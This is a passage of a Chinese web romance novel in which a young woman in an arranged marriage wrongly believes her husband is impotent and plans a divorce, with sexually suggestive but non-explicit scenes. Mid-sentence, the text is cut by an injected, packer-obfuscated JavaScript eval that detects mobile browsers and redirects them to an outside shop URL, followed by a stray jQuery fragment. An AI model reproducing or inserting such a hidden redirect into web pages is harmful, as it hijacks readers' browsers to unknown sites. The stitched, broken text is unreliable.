她小学连跳三级,十二岁同龄孩子还在上小学六年级,她跳到了初三,十七岁别人高二,她已经上到大二。
许是接受的思想快于身体的发育,17岁时知道要在二十岁跟卫晏修结婚,没有厌恶,没有欣喜。
她知道她家在京城算得上豪门顶层,为了维护家族权益,最快最稳妥的方法是联姻。
例如她去世的爸妈。
那一刻,她更觉得自己像和亲的公主,好在爷爷没有把她嫁到塞外寸草不生的蛮夷之地。
卫晏修,她叫了十七年哥哥的人,要在她二十岁成为她老公,也还行吧。
不就是从叫哥哥到叫老公的转换。
她没什么忸怩。
只是,卫晏修身后并没有什么雄厚的资本,不知道爷爷看中他什么。
十一月十五号领证那晚,两人在五星级饭店吃的晚饭。
上到最后甜品草莓蛋糕,她用勺子挖了一小口。
她到现在仍然记得,那草莓发酸。
“老公,今晚我们一起睡吗?”
卫晏修良久没有回她,她被草莓酸的脸部抽搐了下,等心头那股酸劲过去,她仍旧没有等到卫晏修的回应。
“老公?”
她又叫了一声。
“你叫我什么?”
白炽灯下,男人目光带着穿透力。
“老公。”应莺声音清脆,眼里话语里无半分暧昧,“我们不是都领证了吗?”
卫晏修低声笑了下,应莺没搞懂他在笑什么。
“可以。”卫晏修回应。
应莺琢磨去哪里开房,卫晏修递过来一把钥匙。
“这是什么?”
“我们婚房钥匙。”
这出乎应莺意料,他们居然还有婚房。
“婚房还差一些墙装饰,总归是咱俩的婚房,身为女主人还是要有些参与感,装饰交给你了。”
应莺欣然应下。
婚房坐落在京北大学旁的青园,青园每平方米均价二十五万,因为在学校附近,最高楼层五层,卫晏修买的是二楼。
应莺宿舍在三楼,时不时跟爷爷吐槽爬楼梯好累。
幸好二楼,三楼她就不住了。
现代化装修,入目是一百平的客厅,冬日的白雪映着红梅,令人心旷神怡。
她四处转了转,除了房子在二楼,需要她爬楼梯,剩下哪里她都满意。
当晚,她是想跟卫晏修睡一张床,从小她在卫晏修床上醒来次数不计其数,她心理没什么波澜。
只是,卫晏修都换好睡衣躺在床上,她导师一个电话又把她叫回去。
往后两年到她毕业,她到婚房次数一个手指数的过来,卫晏修平日工作也不在这边,更是很少来。
两人平日最多见面,是卫晏修接她,去见爷爷。
爷爷有意让两人留宿,可时间总碰不上,要不是她的课题,要不是卫晏修需要出差。
慢慢,应莺也不对能和卫晏修躺在一张床上抱有幻想,两人现在这样挺好。
虽然领证,但相处跟没领证前的哥哥妹妹状态一样。
一切到她研究生毕业那晚打破。
研究生毕业,同门聚在一起,意气风发指点江山。
有些人读博深造,有些人签了国内设计大厂,也有些人考公。
应莺平时不喝酒,今晚气氛到这里,她喝了一杯鸡尾酒,酒意上头,脸红扑扑的,站在阳台吹风,听到身后询问的嗓音。
“你确定要去A&C?”
她回头,看见是跟她同一年考入、做了三年同门的男生。
应莺点头。
“为什么不来原画设计?”
“原画设计绝对能让你的才能发挥到极致。”
原画设计工资是A&C五倍,但工作压力大,通宵画稿。
她又不是需要拿命拼的打工仔,她缺那点钱吗。
“在A&C可以试吃到很多还未上市的零食。”
男生愣住,应莺不想吹风,往回走。
这里的风不好,吹的她头疼。
她走起路来歪歪扭扭,猛然一个重心不稳,直挺挺要摔,男生伸出手来,却被人截胡。
“不劳烦您了,我来接我太太回家。”
男生手停在半空,仰头去看,看见男人硬挺宽厚的背影。
应莺在他怀里,就跟只小小鸟。
应莺一个失重让她头脑清醒点,目光落在男人脸上,嗓音模糊不清:“卫晏修?”
卫晏修从喉咙深处发出“嗯”一声,眼神平静,却让应莺毛骨悚然。
不好,他生气了。
应莺瑟缩在卫晏修怀里,时刻想跑,但身体又提不起力气来。
不过,卫晏修抱她好稳,应莺本能把重力放到卫晏修身上。
等她再次醒来,是在床上。
她记忆力好,即使见过一面,她也能记住。
况且是她婚房的装修。
应莺手掌撑着床起来,没看见卫晏修,也怕卫晏修跟她算账,翻下床就走。
经过浴室时,浴室的门打开,男人仅用浴巾遮挡着□□,水珠顺着肌肉线条颗颗滚落浴巾深处,那双漆黑的眼没有底,里面的热气蒸蒸往她身上打。
这是应莺第一次见这种形态的卫晏修,大脑瞬间充血,丧失所有思考能力。
“你要去哪里?”
卫晏修温润的嗓音落在她头上,让她身体更像是在热水泡着。
她嘴巴微张,眼神直挺挺落在他腹肌上,舌尖分泌唾液,大脑有了意识,但只浮现出好雄伟三个字。
“阿莺?”卫晏修又唤她一声。
她知道目光该往上,却控制不住往下。
好可惜,被遮挡住了。
那里应该……
砰——
浴室门被卫晏修关住,她什么都看不见。
五分钟后,卫晏修穿戴整齐,连衬衫扣子最上面一颗都系住。
不过,穿的白衬衫,身上水珠还未全部干掉,那胸肌腹肌隐约透出来。
更勾心挠肺了。
之后卫晏修训斥她喝酒、怎么说她,她都记不太清楚。
只记得往后一个星期,卫晏修占据她的梦。
尤其第七天的梦里,她把卫晏修脱光,绑在床上,跨坐在他精壮的腹部上……
春光大亮,她睁开迷离的眼,浑身浸出热汗,脸颊烫的跟火山喷发似的。
也是这天早上,她决定要睡到卫晏修!
她跟常念密谋,等了一天又一天,终于在五天后有机会。
那天是她跟卫晏修一同去探望爷爷,当晚留宿在老宅。
两人是夫妻,自然睡在同一间屋子、同一张床上。
她穿着水红色绸缎吊带连衣裙,身体那么一滚,白藕似的纤细手臂挂在他脖颈上。
“小鸟,你就穿这一身,我保证,没有任何一个男人可以拒绝你!”
应莺上的时候,脑海里是常念的叮嘱。
一切进展很顺利,她就要学着梦里抬腿跨坐在卫晏修身上,卫晏修一把把她摁到床上。
嗯?
“我知道了,给我订去新加坡的机票。”
“阿莺,公司有事,临时出差,等我回来,别着凉。”
卫晏修动作行云流水,她反应过来时,身上盖着卫晏修给她盖的夏凉被,空气里还有大门关住的余音。
应莺:“???”
这件事太打击她了。
她第一次主动,就这么被拒绝。
虽然,卫晏修的拒绝也是温柔体贴。
今天跟卫晏修见面距离上次被拒,过去十七天。
回忆结束,应莺那点尴尬也消散。
她安慰道:“别伤心,我查过中国男人阳痿高达45%。”
“你有钱有颜有身高,肯定有大把女人不图这个。”
“但我还小,我还想在……”
“吃饱了吗?”卫晏修打断她的话。
应莺点头。
“你该回工位发光发热了。”
卫晏修点了点她手机上的时间,常念早就把语音挂了。
彼时,下午两点半。
应莺被卫晏修送回到公司门口,她心里琢磨怎么说离婚,听到卫晏修说晚上去看爷爷。
她要跟卫晏修离婚,还得让爷爷同意,好麻烦。
不过,爷爷一向宠她,连给她选的联姻对象都不是歪瓜裂枣的陌生人,她把卫晏修不能行人事的事情告诉爷爷,爷爷肯定同意她离婚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342127|199393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
回到工位,王馨特意把她叫到办公室,安慰她,不要把经理的话放进心里,经理总爱找实习生杀鸡儆猴。
“我不是鸡。”应莺临了出门,反驳了这么一句。
王馨反应过来,哭笑不得。
再次坐到工位上,林爽凑过来问她还好吗,应莺点头,林爽又问她真结婚的事情。
应莺不喜欢别人对自己私密事情问来问去。
她主动说是一回事,别人询问是另外一件事。
林爽这行让她不悦。
“我手上方案还没有完成,王工急着要,我先工作了。”
林爽“哦哦”两声。
六点下班,应莺准时收拾东西离开,林爽见状给王馨发消息。
【王工,应莺走了,她手里的项目不急了吗?】
……
应莺收到王馨询问她手里方案什么时候能出时,已经坐在卫晏修的迈巴赫上。
【应莺:截至日期是两天后,我一定可以准时出】
【王馨:好】
应合资本占A&C最大的股东,她又是A&C最大的股东,给A&C打工其实也是给自己打工。
但她拿的是A&C八千的实习工资,才不会压榨自己,提前完工。
不过她已经设计完,现在交上去肯定会有新的设计方案。
她才不要累着自己。
卫晏修把她咸鱼心思尽收眼底,无奈一笑。
应家老宅坐落在红墙深处的胡同里,两进两出的四合院。
晚饭和应老爷子吃完饭,应莺多次想开口提离婚的事情,可是见爷爷和卫晏修相谈甚欢,又把话憋回去。
晚饭结束,两人再次被爷爷留下来。
应莺一听还要跟卫晏修睡一起,还是睡上次那间房,索然无趣。
“宝贝孙女,你是不是有话要说?”
应莺提不起精神往外走,被应老爷子叫住。
她停下脚步,回头看,跟应老爷子对视下,又看了眼卫晏修。
卫晏修目光也落在她身上。
公开说卫晏修不行太伤他男人自尊,怎么也是叫了二十年的哥哥。
“爷爷,明天早上我单独跟你说,这是我们爷孙俩的小秘密。”
应莺比了个小手势,眨了下眼睛。
应老爷子被哄的心花怒放:“好,好。”
应莺双手指尖落在头顶,用身体比出个大大的爱心,露出甜美暖心的笑。
“晚安,爷爷。”
应老爷子雄厚的笑声传遍走廊。
卧室里,应莺穿着那条水红色吊带裙从卫生间出来,看见卫晏修已经换好睡衣坐在床上翻阅一本佛经。
哎,不行的男人好惨,放着大美人不看,看枯燥的佛经。
应莺躺在床上,完全不顾旁边的卫晏修,怎么舒服怎么来。
她双腿轮番朝天花板蹬着自行车,裙摆自然往下垂,露出她白色蕾丝内裤一角,如瓷如玉的雪白加上那水红,如夜里专门诱惑书生的精魅。
“你去做什么?”应莺见卫晏修起身,问他。
“口渴,喝水。”
她也渴了。
应莺跟着起身,起身过程中,看见自己胸脯荡漾的弧度。
她能看见,刚才卫晏修应该也看见了。
看见又怎么了,他不行。
应莺全然没把卫晏修放在心上,也没听出卫晏修语气跟往日不一样。
她赶到桌子前时,卫晏修刚喝完。
卫晏修被子里还有少半量的水,她懒得倒,直接拿过他的杯子,就近坐在卫晏修的大腿上,喝水。
卫晏修看着她的粉唇印在他刚喝过的杯壁上,眼睛如翻滚的海水,汹涌着。
应莺喝完,没有喝够,刚要指挥卫晏修再给她倒一杯,有什么在她屁股底下散开。
滚烫、结实。
野兽已经昂首苏醒。
应莺感知到那是什么,浑身僵住,缓慢回头看卫晏修。
卫晏修眼眸黑不见底,脸上尽显克制,音调却是四平八稳。
“这次肯从我腿上下来吗?”
他照旧抖了下腿,攻击性极强的顶了她下。
他哪里是不行。
分明是太行了。